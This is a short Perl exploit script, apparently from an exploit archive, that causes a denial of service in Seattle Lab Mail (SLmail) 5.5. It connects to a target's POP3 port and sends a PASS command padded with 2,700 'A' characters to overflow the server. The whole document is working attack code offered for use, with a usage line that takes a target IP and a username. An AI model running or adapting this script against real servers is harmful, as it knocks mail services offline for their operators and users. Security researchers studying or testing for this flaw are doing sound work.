Seattle Lab Mail 5.5 Denial Of Service

`use IO::Socket;  
  
sub intro {  
print "***************************************************\n";  
print "* Seattle Lab Mail (SLmail) 5.5 *\n";  
print "* *\n";   
print "* Coded By Fernando Mengali *\n";  
print "* *\n";  
print "* POP3 'PASS' Denied of Service - DoS *\n";  
print "* *\n";  
print "***************************************************\n";  
}  
  
intro();  
  
  
if (!$ARGV[0] && !$ARGV[1]) {  
print "\nUsage: $0 <ip> <username>\n";  
exit(0);  
}  
  
my $host = $ARGV[0];  
my $username = $ARGV[1];  
  
  
my $port = 110;  
my $payload = "A" x 2700;  
  
  
my $s = IO::Socket::INET->new(  
PeerAddr => $host,  
PeerPort => $port,  
Proto => 'tcp'  
) or die "Unable to connect: $!\n";  
  
$s->recv(my $data, 1024); # Grab banners (if any)  
$s->send('USER ' . $username . "\r\n");  
$s->recv(my $response, 1024);  
$s->recv(my $data, 1024); # Grab banners (if any)  
$s->send('PASS ' . $payload . "\r\n");  
$s->recv(my $response, 1024);   
$s->send("QUIT\r\n");  
$s->close();  
`